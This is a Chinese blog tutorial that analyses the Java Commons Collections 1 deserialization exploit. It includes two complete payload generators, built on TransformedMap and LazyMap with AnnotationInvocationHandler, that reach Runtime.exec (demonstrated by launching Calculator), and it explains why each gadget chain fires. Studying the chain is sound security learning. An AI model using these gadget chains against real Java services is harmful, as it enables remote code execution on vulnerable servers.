java--commoncollections1 反序列化漏洞利用学习

先附上代码 :jdk7u80环境

import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import javax.annotation.Generated;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class test {

    public static String fileName = "CC1withTransformedMap.bin";
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException,
            InstantiationException, IllegalAccessException, IOException {

        Map hashMap = new HashMap();

        hashMap.put("comments", 2);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
                      };
        Transformer transformerchain = new ChainedTransformer(transformers);
        Map  transformedMap = TransformedMap.decorate(hashMap, null, transformerchain);
        Class<?> c  = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);

        FileOutputStream file = new FileOutputStream(new File(fileName));
        ObjectOutputStream out = new ObjectOutputStream(file);
        out.writeObject(handler);

        FileInputStream file1 = new FileInputStream(new File(fileName));
        ObjectInputStream in = new ObjectInputStream(file1);
        in.readObject();
    }
}

要想触发反序列化漏洞,我们需要一个类且重写了readObject方法,并且在其方法中存在对于TransformedMap的put方法或者实现了setValue方法,或对于lazymap实现了get方法,那么下面就针对这两种map的利用方法进行分析。

主要是利用了sun.reflect.annotation.AnnotationInvocationHandler这个类,这个类实现了 InvocationHandler 接口,原本是用于 JDK 对于注解形式的动态代理。


动态代理的学习参考(代理模式的使用总结_张彦峰ZYF的博客-CSDN博客_代理模式有啥用

通过学习,可以大致的对动态代理有了一些浅显的理解

ExampleInvocationHandler对InvocationHandler中的invoke接口重写,就是当获取到get方法的时候会输出Method is get,并且返回结果为this is get method

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class ExampleInvocationHandler implements InvocationHandler {

    protected Map map;
    public ExampleInvocationHandler(Map map) {
        this.map = map;
    }
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if(method.getName().equals("get")){
            System.out.println("Method is get.");
            return "this is get method!";
        }
        return method.invoke(this.map,args);
    }
}

那么我们在如何利用呢,可以参考如下代码

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class app {
    public static void main(String[] args) {
        Map hashMap = new HashMap();
        hashMap.put("hello","zyer");
        InvocationHandler handler = new ExampleInvocationHandler(hashMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
        String result = (String) proxyMap.get("hello");
        System.out.println(result);

    }
}

新建了一个hashMap,我们将为这个hashMap做代理,直白点说就是,我们想hook(钩)这个方法,然后对这个方法的返回值进行修改,那么需要用到java.reflect.Proxy这个类。

上面的代码结合动态代理学习的文章可以理解为:HashMap是学生,handler是班长,学生缴费通过班长,那么我们对班长进行操作即可,那么班长就是学生的代理,那么我们对班长设置一些要求,变相的就是对学生设置的要求。

那么我们利用到的动态代理的部分就是invoke方法,对于动态代理的知识看上面的文章即可,我们基本了解一下即可:一般的名字就叫...InvocationHandler,这其中会有一个invoke方法,其中包含三个参数(Object var1, Method var2, Object[] var3),且所有执行代理对象的方法都会被替换成执行invoke方法,那么就是需要我们将实现代码放到invoke函数中去来执行。


那么下面就是通过两种思路进行反序列化漏洞:

  1. TransformedMap利用反序列化重写readObject中调用setValue方法
  2. LazyMap在invoke中会调用get方法

1.TransformedMap利用

先看一下AnnotationInvocationHandler的构造方法。

构造方法接收两个参数,第一个参数是 Annotation 实现类的 Class 对象,第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class,才会将两个参数初始化在成员属性 type 和 memberValues 中。

 因为这个类实现了基于动态代理实现的,那么它就一定有invoke方法,但是在TransformedMap的利用中没有利用到invoke函数,而是利用的readObject函数中的setValue方法,那么我们直接进入readObject方法。

根据上面的定义,我们可以知道这个meberValues就是构造方法中传入的一个Map对象,首先先将其遍历,然后进行if判断,其中判断的内容包括:

首先调用 AnnotationType.getInstance(this.type) 方法来获取 type 这个注解类对应的 AnnotationType 的对象,然后获取其 memberTypes 属性,这个属性是个 Map,存放这个注解中可以配置的值。

然后循环 this.memberValues 这个 Map ,获取其 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues 的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值。

private final Map<String, Object> memberValues;
......
......
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
......
this.memberValues = var2;
......
}

那么我们根据文章开头的payload可以使用Generated.class,且原始的map中put("commonts",2)。

InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);

那么我们查看一下Generated.class

发现其中有三个的定义,那么我们可以调试一下查看过程变量的值

 然后查看一下我们定义的transformedMap即这里的var4

最终整理一下这个的判断流程:

我们传入的是("commonts",2),其中传入的commonts是String类型的,2是Integer类型的,

while(var4.hasNext()) {
    Entry var5 = (Entry)var4.next();
    String var6 = (String)var5.getKey(); //commit-->String
    Class var7 = (Class)var3.get(var6);  //根据Generated中的String comments() default ""; 可以知道var7是String类型的
    if (var7 != null) {
    Object var8 = var5.getValue(); //v5=2 是int类型的
    if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
          var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

最后因为var8是Integer类型而不是String类型且不为ExceptionProxy类型而进入if语句中。

所以,如果我们使用map.put("comments","zyer");就不会触发这个if判断了。那么其他利用方式针对

可以传入("value",非String[]类型),("data",非String类型) ,("comments",非String类型) 


2.LazyMap

payload代码

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class test {

    public static void main(String[] args) throws Exception {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
        });

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chain);
        Class name = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = name.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);

        FileOutputStream file = new FileOutputStream(new File("1.txt"));
        ObjectOutputStream out = new ObjectOutputStream(file);
        out.writeObject(invocationHandler);

        FileInputStream file1 = new FileInputStream(new File("1.txt"));
        ObjectInputStream in = new ObjectInputStream(file1);
        in.readObject();


    }
}

是通过方式使lazymap调用了get方法

那构造的思路的就有了,在使用带有装饰器的 LazyMap 初始化 AnnotationInvocationHandler 之前,先使用 InvocationHandler 代理一下 LazyMap,这样反序列化 AnnotationInvocationHandler 时,调用 LazyMap 值的 setValue 方法之前会调用代理类的 invoke 方法,触发 LazyMap 的 get 方法。

原理探究:

我们可以看一下LazyMap的get方法的定义

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执 行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值,所以我们在使用LazyMap时才需要get一个不存在的值来触发我们的TransformedChain

 那么对上面的payload代码的理解就是:

首先构造一个TransformedChain,使用LazyMap对一个HashMap使用decorate方法。

使用反射的方法获取一个AnnotationInvocationHandler的实例对象,其构造方法进行赋值,并通过寻找一个符合if判断条件的class文件使得可以将我们构造的map对象赋值给memberValues

 因为在定义处我们可以知道AnnotationInvocationHandler重写了InvocationHandler接口

 那么我们就可以将其看成一个动态代理的对象方法,然后通过使用newProxyInstance方法来使得我们传入的Map会调用其invoke方法,因为我们没有调用map中的任何方法,于是会导致进入switch语句中的default判断,从而使得调用了map的get方法触发命令执行 

最后因为代理类不能被序列化,那么我们还需要AnnotationInvocationHandler 对这个Map进行包裹   ,然后进行序列化操作。


上面的内容参考su18师傅:Java 反序列化漏洞(二) - Commons Collections | 素十八 

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值